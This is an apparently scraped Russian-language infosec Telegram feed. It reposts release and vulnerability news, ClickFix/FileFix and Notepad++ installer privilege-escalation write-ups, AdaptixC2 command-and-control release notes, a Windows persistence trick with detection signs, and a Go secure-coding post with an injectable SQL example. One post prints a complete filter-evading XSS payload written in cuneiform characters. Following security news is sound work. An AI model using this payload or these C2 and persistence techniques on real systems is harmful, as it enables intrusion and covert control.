www.opennet.ru
Релиз StartWine-Launcher 410, программы для запуска Windows-приложений и игр в Linux
Опубликован выпуск приложения Startwine-Launcher 410, развиваемого для запуска в Linux-системах программ и игр, собранных для платформы Windows. Основной целью разработки StartWine-Launcher было упрощение процесса создания новичками префиксов Wine, - наборов…
🔗Ссылка:
https://opennet.ru/63448/
https://opennet.ru/63448/
Forwarded from 1N73LL1G3NC3
This media is not supported in your browser
VIEW IN TELEGRAM
FileFix - A ClickFix Alternative
Presenting an alternate method to the traditional ClickFix attack. ClickFix is a social engineering attack that prompts users to unknowingly execute malicious code, usually through the Run Dialog (Windows Key + R). The simplicity of this technique makes it funny, yet it’s been effective.
Presenting an alternate method to the traditional ClickFix attack. ClickFix is a social engineering attack that prompts users to unknowingly execute malicious code, usually through the Run Dialog (Windows Key + R). The simplicity of this technique makes it funny, yet it’s been effective.
🔥2❤1
Хабр
Исследую роутеры с «вечным VPN» с российских маркетплейсов: admin:admin, открытые порты и доступ к соседям
Привет, Хабр! Меня зовут Иван Глинкин, я занимаюсь инфраструктурным тестированием и аппаратным хакингом в Бастионе. Недавно наткнулся на интересное предложение на российских маркетплейсах — роутеры с...
🔗Ссылка:
https://habr.com/ru/post/917522/
https://habr.com/ru/post/917522/
🔥1
Forwarded from Threat Hunting Father 🦔
Media is too big
VIEW IN TELEGRAM
🧠 Суть уязвимости
Во время установки Notepad++ v8.8.1, установщик запускает зависимости, такие как
regsvr32.exe, без указания полного пути. В Windows это означает, что система ищет бинарники согласно Search Order для DLL/EXE, начиная с текущего рабочего каталога.Если в этом каталоге находится вредоносный файл с нужным именем (например,
regsvr32.exe), то он будет запущен с правами SYSTEM — теми же правами, что и сам установщик.Говорят что POC уже публично доступен
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Adaptix Framework
В новой версии 0.6 можно будет к серверу привязать своего TG бота, который будет оповещать о разных событиях, например, что сессия прилетела)
www.opennet.ru
Релиз Firefox 140
Состоялся релиз web-браузера Firefox 140. Firefox 140 отнесён к категории веток с длительным сроком поддержки (ESR), обновления для которых выпускаются в течение года. Кроме того, сформированы обновления прошлых веток с длительным сроком поддержки - 115.25.0…
🔗Ссылка:
https://opennet.ru/63457/
https://opennet.ru/63457/
Forwarded from Blue (h/c)at Café
- Ну Го
В последние месяцы сообщество «вайбкодеров» набирает обороты, быстрая разработка прототипов и использование хайповых (или так уже никто не говорит
Далее, я подобрал примеры ошибок, которые допускают не только нейронки, но также и обычные НЕВАЙБ кодеры.
Почему важно? Любая конкатенация строки + ввод = дыра.
// Плохо: fmt.Sprintf + Query
query := fmt.Sprintf("SELECT id, email FROM users WHERE email = '%s'", email)
db.Query(query)
// Правильно: PrepareContext + таймаут + закрытие stmt
ctx, cancel := context.WithTimeout(ctx, 200*time.Millisecond)
defer cancel()
stmt, err := db.PrepareContext(ctx, `
SELECT id, email
FROM users
WHERE email = $1 AND deleted = FALSE
`)
if err != nil { return err }
defer stmt.Close()
row := stmt.QueryRowContext(ctx, email)
(bson.M{"\$where": …})).parser := &jwt.Parser{ValidMethods: []string{"RS256"}}
token, err := parser.ParseWithClaims(tokenStr, &CustomClaims{}, func(t *jwt.Token) (interface{}, error) {
return publicKey, nil
})hdr := (*reflect.SliceHeader)(unsafe.Pointer(&b))
hdr.Len = header.Length
hdr.Cap = header.Length
Только после Code Review - проверка границ, выравнивания и GC-безопасности.
--mode=imports + --mode=versions.Корректная передача context — базовый стандарт зрелых Go-сервисов.
// Создаём контекст с дедлайном для HTTP-запроса
ctx, cancel := context.WithTimeout(parentCtx, 2*time.Second)
defer cancel() // обязательный вызов!
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
_, err := http.DefaultClient.Do(req)
// две горутины одновременно плюсуют visits
var visits int
go func() { visits++ }()
go func() { visits++ }()
Запуск
go test -race в CI обнаружит такие случаиОчень требовательно к ресурсам и не рекомендуется в монолитах или говно-микросервисах
// Правильно:
// С Mutex
var (
visitsMu sync.Mutex
visits int
)
go func() {
visitsMu.Lock()
visits++
visitsMu.Unlock()
}()
// Или атомарно
var visitsAtomic uint64
go func() {
atomic.AddUint64(&visitsAtomic, 1)
}()
Паника в одном handler’е не должна убивать весь HTTP-сервер:
func recoveryMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {
if rec := recover(); rec != nil {
log.Error().
Interface("penic", rec).
Msg("recovered from penic xD in handler")
http.Error(w, "internal error", http.StatusInternalServerError)
}
}()
next.ServeHTTP(w, r)
})
}🗒 Выводы
Их не будет, просто примеры из практики. Смотрите внимательнее, что вам выдаёт chatgpt или аналоги.
Добра и позитива appsec-ам, остальным соболезную
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Proxy Bar
Ды вы охренели !
XSS payload, Cuneiform-alphabet based
#этопотомучтовывцерковьнеходите
XSS payload, Cuneiform-alphabet based
"><img/src=x onerror="𐂃='',𐃨=!𐂃+𐂃,𐂝=!𐃨+𐂃,𐃌=𐂃+{},𐁉=𐃨[𐂃++],𐃵=𐃨[𐂓=𐂃],𐀜=++𐂓+𐂃,𐂠=𐃌[𐂓+𐀜],𐃨[𐂠+=𐃌[𐂃]+(𐃨.𐂝+𐃌)[𐂃]+𐂝[𐀜]+𐁉+𐃵+𐃨[𐂓]+𐂠+𐁉+𐃌[𐂃]+𐃵][𐂠](𐂝[𐂃]+𐂝[𐂓]+𐃨[𐀜]+𐃵+𐁉+'(document.domain)')()"#этопотомучтовывцерковьнеходите
🤯1
Forwarded from purple shift
А помните, мы рассказывали, как злоумышленники могут без авторизации производить перебор доменных пользователей через интерфейс MS-NRPC? На самом деле, это часть большого исследования нашего эксперта Хайдара Кабибо. Исследование посвящено одной из самых сложных технологий в ОС Windows: многоуровневой системе коммуникации Inter-Process Communication (IPC). Частью этой системы является и протокол RPC (Remote Procedure Call), который используется в упомянутой выше атаке.
Недавно Хайдар начал публиковать полную версию своего исследования в виде серии блоговых постов, и вы уже можете ознакомиться с некоторыми из них.
Первая часть представляет общий план исследования: оно покрывает все четыре уровня организации IPC, от самого высокого (DCOM) до технологий уровня ядра (Named Pipes, ALPC).
Во второй части автор разбирает интерфейс RPC и показывает, как создавать собственные RPC-серверы и клиенты.
Третья часть посвящена дескрипторами привязки (Binding Handles), которые используются в RPC для управления соединениями между сервером и клиентом.
А в четвёртой части вы узнаете, как организована безопасность RPC. Здесь и объясняется, почему некоторые действия в этом протоколе можно выполнять с более низким уровнем аутентификации, чем вы ожидали; в частности, интерфейсы многих RPC-северов разрешают доступ безо всякой авторизации вообще.
И это ещё не всё! Продолжение исследования – читайте в блоге Хайдара по мере публикации.
Недавно Хайдар начал публиковать полную версию своего исследования в виде серии блоговых постов, и вы уже можете ознакомиться с некоторыми из них.
Первая часть представляет общий план исследования: оно покрывает все четыре уровня организации IPC, от самого высокого (DCOM) до технологий уровня ядра (Named Pipes, ALPC).
Во второй части автор разбирает интерфейс RPC и показывает, как создавать собственные RPC-серверы и клиенты.
Третья часть посвящена дескрипторами привязки (Binding Handles), которые используются в RPC для управления соединениями между сервером и клиентом.
А в четвёртой части вы узнаете, как организована безопасность RPC. Здесь и объясняется, почему некоторые действия в этом протоколе можно выполнять с более низким уровнем аутентификации, чем вы ожидали; в частности, интерфейсы многих RPC-северов разрешают доступ безо всякой авторизации вообще.
И это ещё не всё! Продолжение исследования – читайте в блоге Хайдара по мере публикации.
Forwarded from Adaptix Framework
AdaptixC2 v0.6 is out
https://github.com/Adaptix-Framework/AdaptixC2
* Обновленная консоль агента с гибкими настройками
* Оповещения в Telegram
* OTP для синхронизации файлов и команд
* Новая тема Dracula
* Обновление до Golang 1.24.4
Полная информация по обновлению: https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.5-greater-than-v0.6
https://github.com/Adaptix-Framework/AdaptixC2
* Обновленная консоль агента с гибкими настройками
* Оповещения в Telegram
* OTP для синхронизации файлов и команд
* Новая тема Dracula
* Обновление до Golang 1.24.4
Полная информация по обновлению: https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.5-greater-than-v0.6
www.opennet.ru
Уязвимости в пакетных менеджерах Nix, Lix и Guix
В пакетных менеджерах GNU Guix, Nix и Lix выявлены уязвимости (Nix, Guix, Lix), позволяющие выполнить код с правами пользователей, под которыми запускаются сборочные задания (например, nixbld* в Nix/Lix), что может использоваться для записи своих данных в…
🔗Ссылка:
https://opennet.ru/63464/
https://opennet.ru/63464/
Forwarded from RedTeam brazzers (Миша)
Друзья, всем привет! Я наконец-то созрел и конвертировал текст своего выступления на CyberWave в статью. Любуйтесь злоупотреблением символическими ссылками на medium : )
https://cicada-8.medium.com/were-going-the-wrong-way-how-to-abuse-symlinks-and-get-lpe-in-windows-0c598b99125b
https://cicada-8.medium.com/were-going-the-wrong-way-how-to-abuse-symlinks-and-get-lpe-in-windows-0c598b99125b
Medium
We’re going the wrong way! How to abuse symlinks and get LPE in Windows
How to achieve LPE in Windows via symlinks and how we wrote an exploit for Anydesk :)
Forwarded from Proxy Bar
Forwarded from ByTe [ ]f Digital Life
PERSISTENCE
Идея — использовать мало-заметный WinAPI-вызов
Для срабатывания перезапуска необходимо, чтобы перед выключением или рестартом был вызван
Признаки:
Появление ключей
Наличие структуры
https://blog.phantomsec.tools/phantom-persistence "Phantom Persistence | PhantomSec Blog"
Идея — использовать мало-заметный WinAPI-вызов
RegisterApplicationRestart, который штатно предназначен для перезапуска «упавших» приложений, но в связке с «правильным» завершением системы можно превратить его в механизм персистентности.Для срабатывания перезапуска необходимо, чтобы перед выключением или рестартом был вызван
ExitWindowsEx с флагом EWX_RESTARTAPPS (или InitiateShutdown c SHUTDOWN_RESTARTAPPS) — обычное «клик-по-Shutdown» этого не делает.Признаки:
Появление ключей
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #<n> сразу после начала выключения.Наличие структуры
WER_PEB_HEADER_BLOCK в PEB процесса.https://blog.phantomsec.tools/phantom-persistence "Phantom Persistence | PhantomSec Blog"